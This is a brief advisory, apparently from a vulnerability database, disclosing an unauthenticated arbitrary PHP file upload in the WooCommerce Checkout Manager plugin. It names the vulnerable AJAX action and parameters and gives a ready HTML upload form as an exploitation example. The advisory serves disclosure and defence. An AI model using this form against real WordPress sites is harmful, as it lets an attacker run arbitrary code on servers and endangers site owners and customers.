#VU18353 Arbitrary file upload in WooCommerce Checkout Manager
Published: April 26, 2019
WooCommerce Checkout Manager
Visser Labs
Description
The vulnerability allows a remote attacker to compromise vulnerable application.
The vulnerability exists due to missing restrictions when uploading PHP files via the "/wp-admin/admin-ajax.php" URL, when action is set to "wccs_upload_file_func" and valid "order_id" identifier is set. A remote non-authenticated attacker can upload and execute arbitrary PHP file on the server.
Exploitation example:
<html> <body> <form action="http://[host]/wp-admin/admin-ajax.php?action=wccs_upload_file_func&order_id=[order ID]&name=test" method="POST" enctype="multipart/form-data"> <input type="file" name="test[1]" /> <input type="submit" value="Submit" /> </form> </body> </html>